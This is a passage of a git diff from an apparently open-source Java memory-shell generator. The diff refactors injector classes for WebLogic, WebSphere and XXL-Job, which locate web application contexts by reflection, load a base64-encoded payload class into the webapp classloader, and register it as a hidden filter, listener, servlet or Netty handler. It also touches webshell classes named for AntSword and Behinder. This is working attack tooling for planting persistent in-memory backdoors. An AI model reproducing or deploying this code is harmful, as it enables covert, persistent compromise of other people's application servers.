clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { - if (isInjected(context)) { - System.out.println("filter already injected"); - return; + Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); + for (Object obj : filters.keySet()) { + if (obj.toString().contains(getClassName())) { + return; + } } Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); @@ -166,18 +200,11 @@ public void inject(Object context, Object filter) throws Exception { List filterPatternList = (List) getFieldValue(filterManager, "filterPatternList"); Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); filterPatternList.add(0, currentMapping); - System.out.println("filter inject successful"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); - for (Object obj : filters.keySet()) { - if (obj.toString().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -252,6 +279,21 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index 822efc77..9090eaf2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -17,6 +18,9 @@ * @author ReaJason */ public class WebLogicListenerInjector { + + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -26,15 +30,42 @@ public String getBase64String() throws IOException { } public WebLogicListenerInjector() { + Set contexts = null; try { - Object[] contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } static Object[] getContextsByMbean() throws Throwable { @@ -111,7 +142,7 @@ public static Object[] getContextsByThreads() throws Throwable { return webappContexts.toArray(); } - public static Object[] getContext() { + public static Set getContext() { Set webappContexts = new HashSet(); try { webappContexts.addAll(Arrays.asList(getContextsByMbean())); @@ -121,7 +152,7 @@ public static Object[] getContext() { webappContexts.addAll(Arrays.asList(getContextsByThreads())); } catch (Throwable ignored) { } - return webappContexts.toArray(); + return webappContexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { @@ -135,36 +166,33 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object listener) throws Exception { - if (isInjected(context)) { - System.out.println("listener already injected"); - return; - } - Object eventsManager = getFieldValue(context, "eventsManager"); - invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()}); - System.out.println("listener inject successful"); - } - - @SuppressWarnings("unchecked") - public boolean isInjected(Object context) throws Exception { List requestListeners = (List) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners"); for (Object requestListener : requestListeners) { if (requestListener.getClass().getName().contains(getClassName())) { - return true; + return; } } - return false; + Object eventsManager = getFieldValue(context, "eventsManager"); + invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()}); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -234,6 +262,21 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java index ac45c6af..b8f0a637 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index 04a79b6c..180142af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -18,6 +19,9 @@ * @author ReaJason */ public class WebLogicServletInjector { + + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -31,15 +35,42 @@ public String getBase64String() throws IOException { } public WebLogicServletInjector() { + Set contexts = null; try { - Object[] contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public static Object[] getContextsByMbean() throws Throwable { @@ -116,7 +147,7 @@ public static Object[] getContextsByThreads() throws Throwable { return webappContexts.toArray(); } - public static Object[] getContext() { + public static Set getContext() { Set webappContexts = new HashSet(); try { webappContexts.addAll(Arrays.asList(getContextsByMbean())); @@ -126,7 +157,7 @@ public static Object[] getContext() { webappContexts.addAll(Arrays.asList(getContextsByThreads())); } catch (Throwable ignored) { } - return webappContexts.toArray(); + return webappContexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { @@ -179,12 +210,14 @@ public void inject(Object context, Object servlet) throws Exception { Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()}); if (mapping == null) { invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper}); - System.out.println("servlet inject successful"); - } else { - System.out.println("servlet already injected"); } } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -237,6 +270,21 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java index f21340c5..c0086676 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index a185a043..d78ffcf1 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -19,17 +20,8 @@ * @author ReaJason */ public class WebSphereFilterInjector { - public WebSphereFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -43,6 +35,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public WebSphereFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.ibm.ws.webcontainer.webapp.WebAppImpl * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar @@ -84,22 +115,23 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } - @SuppressWarnings("unchecked") public void inject(Object context, Object filter) throws Exception { - if (isInjected(context)) { - System.out.println("filter already injected"); + Object webAppConfiguration = getFieldValue(context, "config"); + if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) { return; } @@ -135,12 +167,11 @@ public void inject(Object context, Object filter) throws Exception { } // 清除缓存 invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); - System.out.println("filter injected successfully"); } - public boolean isInjected(Object context) throws Exception { - Object webAppConfiguration = getFieldValue(context, "config"); - return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -216,7 +247,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -230,4 +261,19 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } return null; } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index c1705773..d25d746d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; @@ -14,6 +15,8 @@ */ public class WebSphereListenerInjector { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -23,15 +26,42 @@ public String getBase64String() throws IOException { } public WebSphereListenerInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public List getContext() throws Exception { @@ -71,15 +101,17 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") @@ -87,12 +119,15 @@ public void inject(Object context, Object listener) throws Exception { List listeners = (List) getFieldValue(context, "servletRequestListeners"); for (Object o : listeners) { if (o.getClass().getName().equals(getClassName())) { - System.out.println("listener already injected"); return; } } listeners.add(listener); - System.out.println("listener injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -141,7 +176,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -166,4 +201,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index 36d94a39..366088bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; @@ -15,17 +16,8 @@ * @since 2024/12/21 */ public class WebSphereServletInjector { - public WebSphereServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,6 +30,44 @@ public String getClassName() { public String getBase64String() throws IOException { return "{{base64Str}}"; } + public WebSphereServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } public List getContext() throws Exception { List contexts = new ArrayList(); @@ -76,26 +106,31 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object servlet) throws Exception { Object config = getFieldValue(context, "config"); Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()}); if (servletInfo != null) { - System.out.println("servlet already injected"); return; } invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null}); - System.out.println("servlet injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -143,7 +178,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -168,4 +203,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java index a22dad86..7d13f697 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java @@ -12,6 +12,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashSet; @@ -26,6 +27,8 @@ * @since 2025/1/21 */ public class XxlJobNettyHandlerInjector extends ChannelInitializer { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -36,14 +39,20 @@ public String getBase64String() throws IOException { public XxlJobNettyHandlerInjector() { try { - handlerClass = getShellClass(); inject(); - } catch (Exception e) { - e.printStackTrace(); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; } + System.out.println(msg); + } + + @Override + public String toString() { + return msg; } - private Class handlerClass; + private static Class handlerClass; @Override protected void initChannel(SocketChannel channel) throws Exception { @@ -65,8 +74,8 @@ protected void initChannel(SocketChannel channel) throws Exception { }))); } - private Class getShellClass() throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + private Class getShellClass(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); try { return classLoader.loadClass(getClassName()); } catch (Exception e) { @@ -90,9 +99,9 @@ public void inject() throws Exception { Object keys = set.toArray()[0]; Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); + handlerClass = getShellClass(embedHttpServerHandler); setFieldValue(embedHttpServerHandler, "childHandler", this); - System.out.println("xxl-job NettyHandler inject successful"); - break; + return; } } } catch (Exception ignored) { @@ -160,4 +169,19 @@ public void setFieldValue(final Object obj, final String fieldName, final Object final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java index 456471cb..759d68c4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java @@ -71,6 +71,6 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java index 4d317712..94ccab0b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java @@ -85,7 +85,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java index aad4ecf3..70a07bad 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java @@ -70,7 +70,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java index a37ac070..cc984da7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java @@ -76,7 +76,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java index 05efd97b..3f968de3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java @@ -73,7 +73,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java index b59371eb..11db4e29 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java @@ -94,7 +94,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java index 231e947b..8bd60574 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java @@ -77,7 +77,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java index 3258639c..837d5674 100644 